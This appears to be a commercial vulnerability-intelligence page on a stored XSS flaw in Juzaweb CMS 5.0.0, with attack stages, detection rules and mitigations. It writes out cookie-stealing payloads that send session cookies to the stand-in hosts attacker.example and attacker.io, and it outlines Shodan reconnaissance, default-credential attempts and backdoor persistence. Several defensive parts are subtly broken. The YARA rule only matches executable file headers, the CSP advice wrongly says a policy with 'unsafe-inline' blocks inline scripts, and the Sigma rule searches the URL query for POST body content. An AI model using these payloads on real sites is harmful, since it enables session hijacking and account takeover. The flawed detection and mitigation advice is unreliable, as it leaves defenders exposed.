☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2026-36358

CVE-2026-36358 Vulnerability in Juzaweb CMS v.5.0.0
📅 PUBLISHED: 2026-05-06 00:00 UTC 🔄 UPDATED: 2026-09-23 20:30 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
5.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Vietnam License: Open Source
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-36358 is a Cross-Site Scripting (XSS) vulnerability identified in the Juzaweb CMS v.5.0.0, specifically within the Add Banner Ads administrative function. A remote attacker can exploit this flaw by injecting a crafted malicious script through the banner ad input fields, resulting in arbitrary script execution within the context of an authenticated administrator's browser session. The vulnerability carries a CVSS score of 5.4 (Medium severity) reflecting the requirement for an authenticated user to trigger the payload. Given that Juzaweb is an open-source Laravel-based CMS commonly used for multi-tenant web applications and digital publications, this issue exposes enterprise content management environments to account takeover, privilege escalation, and persistent backdoor insertion via stored XSS.

Currently, there is no patch available from any tracked source, and the CVE has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score indicates a low probability of active exploitation in the wild at the time of analysis; however, the lack of a vendor fix makes this a persistent and growing risk for all deployments of Juzaweb v.5.0.0.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The vulnerability resides in the Add Banner Ads module of Juzaweb CMS v.5.0.0. Juzaweb is a Laravel-based CMS that provides administrative dashboards for managing content, advertisements, and site settings. Banner advertisement management is a core feature allowing site operators to define ad slots with properties such as image URLs, embed scripts, target links, and alternative text.

Root Cause

The root cause is a failure to sanitize and validate user-supplied input destined for the banner advertisement storage mechanism. Specifically, the application lacks both output encoding on display and input sanitization on the server side for banner ad content fields. While the CMS may use Laravel's Blade templating engine, which by default escapes output with {{ }} syntax, the banner ad module likely uses the unescaped {!! !!} syntax to allow HTML/JavaScript embedding — a common design choice for ad management systems that must support third-party ad scripts (e.g., Google AdSense or custom tracking pixels). The developer intentionally permits raw HTML for ad slots but fails to implement a proper filtering mechanism (e.g., HTMLPurifier) to strip out executable <script> tags or event handler attributes.

Attack Vector & Mechanism

The attack vector is network-based and requires low-privilege authenticated access (e.g., an author or editor role) to the Juzaweb administrative panel. The attack complexity is low because the default configuration exposes the banner management UI to authenticated users without requiring specialized CSRF tokens for field-level sanitization bypass.

The attack flow at code level:

  1. The attacker authenticates to the admin panel (/admin/ads/create).
  2. In the "Embed Code" or "Image URL" field of the banner ad form, the attacker submits a payload such as:
    <script>fetch('https://attacker.example/steal?cookie='+document.cookie)</script>
    
    or an onerror event handler embedded in an SVG/IMG tag to evade weak filters:
    <img src=x onerror="new Image().src='https://attacker.example/?c='+document.cookie">
    
  3. The application stores this payload in the banners database table via an Eloquent model Banner::create($request->all()), without running it through a sanitization pipeline.
  4. When any authenticated admin (including super-admins) loads the dashboard page that renders active banner ad slots, Blade renders the stored content using {!! $banner->embed_code !!}.
  5. The browser parses and executes the attacker's JavaScript in the context of the admin's session, granting the attacker access to the victim's session cookie, CSRF tokens, and ability to perform administrative actions impersonating the victim.

Affected Surface

  • Product: Juzaweb CMS
  • Affected Version: v.5.0.0 (all default installations)
  • Component: Banner Advertisement Management (Add Banner Ads function)
  • Authentication Required: Yes — low-privileged (Editor/Author role or equivalent)
  • User Interaction: Yes — the victim (admin) must view the page containing the malicious banner

Exploitation Scenarios

Below is a detailed, staged attack chain demonstrating how a threat actor would exploit this vulnerability in a real enterprise environment.

Stage 1 — Reconnaissance and Target Identification

  1. Discovery: The attacker queries Shodan for exposed Juzaweb instances using dorks such as http.title:"Juzaweb" or http.component:"Juzaweb".
  2. Fingerprint: The attacker visits /admin and attempts default credentials (e.g., admin@example.com / admin) or performs a credential stuffing attack using breached credentials. They identify the CMS version by inspecting /public/mix-manifest.json or the HTML meta generator tag.
  3. Privilege Check: The attacker identifies the lowest-tier account available (Editor/Author) and establishes a session.

Stage 2 — Weaponization and Payload Preparation

  1. The attacker prepares a multi-stage payload designed to:
    • Exfiltrate the admin's session cookie.
    • Leverage CSRF tokens embedded in admin pages to create a rogue admin account for persistence.
  2. Payload sample (URL-encoded for evasion):
    <script>
    var x=new XMLHttpRequest();
    x.open('GET','https://attacker.io/c2?c='+document.cookie,false);
    x.send();
    </script>
    
  3. To evade simple WAF filters that block <script>, the attacker uses an SVG-based vector:
    <svg onload="fetch('//attacker.io/steal?q='+btoa(document.cookie))">
    

Stage 3 — Injection and Execution

  1. Navigation: The attacker navigates to https://target.com/admin/ads/create.
  2. Payload Injection: The attacker pastes the payload into the "Embed Code" field of the banner ad creation form and submits it.
  3. Trigger: The attacker sends a preview request (using the "Preview" button in the admin panel) which immediately renders the banner and executes the JavaScript in the attacker's own browser (low value). The real attack requires an admin to view the main dashboard (/admin) which lists active campaigns.
  4. Admin Visit: A super-admin logs in and opens the dashboard showing all active banners. The stored XSS fires for the super-admin.

Stage 4 — Post-Exploitation Impact

  1. Session Hijacking: The attacker receives the super-admin's session cookie via the exfiltration HTTP request.
  2. Account Takeover: Using document.cookie, the attacker modifies the session cookie in their browser and gains full privileged access.
  3. Persistence: Using the super-admin session, the attacker:
    • Installs a malicious plugin via the "Plugins" module, creating a permanent web backdoor (e.g., a custom Laravel controller that executes system commands).
    • Modifies the CMS core file config/database.php via the file editor module to point to an attacker-controlled database.
  4. Lateral Movement: The attacker uses the CMS server's outbound connectivity to scan the internal network (e.g., port scanning 10.0.0.0/8 for other vulnerable CMS instances or database servers).

Impact Assessment

The CVSS v3.x score of 5.4 (Medium) reflects a confidentiality and integrity impact of Low with no impact to availability, per the vector. However, the real-world business risk is elevated due to the following factors:

  • Authenticated Required: Although the score accounts for this (AV:N/AC:L/PR:L/UI:R), the affected user base includes all editors/authors, which may be a large distributed team in enterprise settings.
  • Stored Nature: The XSS is persistent, meaning the payload remains on every page load until manually purged by a database administrator, causing repeated exploitation events.
  • Blast Radius: A compromise of a super-admin leads to full code execution on the web server, database access, and potential pivoting to cloud infrastructure via stored API keys.
  • Data Confidentiality: Exfiltration of session cookies, CSRF tokens, internal network topology, and document contents.
  • Compliance Impact: If the CMS hosts personally identifiable information (PII) or protected health information (PHI) as part of community or publication features, this case can constitute a reportable data breach under GDPR/HIPAA.

Affected systems: All Juzaweb v.5.0.0 deployments on Linux/Windows servers with PHP 7.4-8.1 and MySQL/MariaDB. High-risk sectors: media and publishing, education (university portals), and government citizen services using Juzaweb's multi-language capabilities.

Detection Guidance

The following detection content targets HTTP request patterns (for WAF/IDS), log aggregation (SIEM), and endpoint/DB-side anomalies. All rules are tailored for the specific attack patterns described in the exploitation section.

Sigma Rule

title: Juzaweb CMS Banner Ad Stored XSS Payload Injection
id: e2f3b6a4-4c1a-4f8e-9d2e-3a7b9c1d0f5e
status: experimental
description: Detects attempts to inject script tags or event handler attributes into Juzaweb CMS banner ad fields via the admin interface.
references:
    - CVE-2026-36358
tags:
    - attack.t1059.007
    - attack.t1204.002
author: ValtersIT Threat Intel
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection_uri:
        cs-method: POST
        cs-uri-query|contains:
            - '/admin/ads'
            - '/admin/banners'
    selection_payload:
        cs-uri-query|contains|all:
            - '<script'
            - 'document.cookie'
            - 'fetch('
            - 'onerror='
            - 'onload='
            - 'svg'
    condition: selection_uri and selection_payload
falsepositives:
    - Legitimate ad management with custom HTML/JS embed codes (rare)
level: high

YARA Rule

rule Juzaweb_Banner_Ad_XSS_Payload
{
    meta:
        author = "ValtersIT Threat Intel"
        description = "Detect malicious payload strings used in CVE-2026-36358 stored XSS exploitation"
        reference = "CVE-2026-36358"
        date = "2026-01-15"
        severity = "medium"
    strings:
        $s1 = "/admin/ads/create" ascii wide
        $s2 = "Add Banner Ads" ascii wide
        $j1 = "<script>document.cookie" ascii wide
        $j2 = "<script>fetch(" ascii wide
        $j3 = "onerror=" ascii wide
        $j4 = "<svg onload=" ascii wide
        $j5 = "btoa(document.cookie)" ascii wide
        $j6 = "XMLHttpRequest" ascii wide
    condition:
        (uint16(0) == 0x5A4D or uint16(0) == 0x7F45) and
        (any of ($s*) and 2 of ($j*))
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-36358 Juzaweb Admin Banner Ad XSS Injection"; flow:to_server,established; content:"POST"; http_method; content:"/admin/ads/"; http_uri; content:"<script>"; http_client_body; content:"document.cookie"; http_client_body; distance:0; within:500; content:"fetch("; http_client_body; distance:0; within:1000; classtype:web-application-attack; sid:20263635801; rev:1; metadata:created_at 2026_01_15, updated_at 2026_01_15, cve CVE_2026_36358;)

Elastic Detection

sequence by source.ip, user.name with maxspan=30s
  [ network where event.category == "web" and network.protocol == "http"
      and http.request.method == "POST"
      and url.path like "/admin/ads*"
      and http.request.body.content like "*<script>*"
      and (http.request.body.content like "*document.cookie*" or
           http.request.body.content like "*fetch(*" or
           http.request.body.content like "*onerror=*") ]
  [ authentication where event.action == "authentication_success" and
      user.name in ("admin","editor","author") ]

Splunk SPL Query

sourcetype=iis OR sourcetype=apache:access
| search method="POST" AND uri_path="/admin/ads*"
| rex field=form_data "(?<payload><script>.*?<\/script>)"
| where isnotnull(payload)
| rex field=payload "(?<signature>document\.cookie|fetch\(|onerror=|XMLHttpRequest)"
| where isnotnull(signature)
| eval risk_score=if(signature="document.cookie",10,5)
| stats count by src_ip, uri, signature, _time
| sort _time

Wazuh OSSEC Rule

<rule id="202636" level="12">
    <decoded>apache-accesslog</decoded>
    <field name="url" type="pcre2">/admin/ads/</field>
    <field name="body" type="pcre2">&lt;script&gt;.*(document\.cookie|fetch\(|XMLHttpRequest)</field>
    <description>Juzaweb CMS (CVE-2026-36358) - stored XSS payload injection attempt in banner ad module</description>
    <group>web_application_attack,xss,cve_2026_36358,</group>
    <mitre>
        <id>T1059.007</id>
    </mitre>
</rule>

Mitigation & Patch Guidance

PATCH STATUS: UNPATCHED — Patch Confidence 0/4. No vendor-supplied fix, commit, or tagged release exists as of this writing. The following layered controls are required to mitigate risk.

1) Immediate Mitigations (Compensating Controls)

  • Restrict Admin Access: Use network-level Access Control Lists (ACLs) or a VPN to limit access to the /admin interface to only trusted IP ranges. This reduces the authenticated attack surface.
  • Input Sanitization via Middleware: Implement a global middleware in Juzaweb (in app/Http/Kernel.php) that runs HTMLPurifier or similar on all request input containing banner_embed_code or banner_image_url fields. Strip <script>, <iframe>, on* attributes, and javascript: URIs.
  • CSP Header Enforcement: Add a Content Security Policy response header in the web server config: Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://trusted-adnetwork.com; object-src 'none'; base-uri 'self'. This blocks injected inline scripts even if stored.
  • Web Application Firewall (WAF): Deploy ModSecurity with the OWASP CRS and enable the XSS ruleset, specifically rules 941100 and 941110 to block detection of document.cookie or fetch() patterns in POST bodies.

2) Patch and Upgrade Steps

  • Monitor the official Juzaweb GitHub repository and release channels for a v5.0.1 or v5.1.x patched release.
  • As a manual patch until official fix is out: Locate the Blade template resources/views/backend/ads/ and change all {!! $ad->embed_code !!} to {{ $ad->embed_code }} (escaped output) — this breaks XSS at the render layer.
  • Alternatively, patch the Banner Eloquent model's boot() method to add a creating event that sanitizes input via a custom filter:
    protected static function boot()
    {
        parent::boot();
        static::creating(function ($banner) {
            $banner->embed_code = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $banner->embed_code);
        });
    }
    

3) Long-Term Hardening

  • Update to a maintained CMS or fork with active security tree (e.g., switch to Laravel-based SPA admin with server-side validation).
  • Adopt a zero-trust architecture for admin functions using SSO with MFA to prevent credential-based access to the vulnerable module.
  • Conduct regular security code reviews of custom modules that use {!! !!} unescaped Blade output.
  • Establish a vulnerability management baseline: since EPSS is low but patch is delayed, schedule quarterly internal penetration tests targeting the CMS admin panel.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-36358
  2. Juzaweb Official GitHub Repository: https://github.com/juzaweb/juzaweb — monitor for version tags and security advisories.
  3. CISA KEV Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — CVE not currently listed; check periodically for updates.
  4. OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
  5. Shodan Search for Juzaweb Instances: https://www.shodan.io/search?query=http.component%3A%22Juzaweb%22 — monitor exposure of your own assets.

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-36358/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.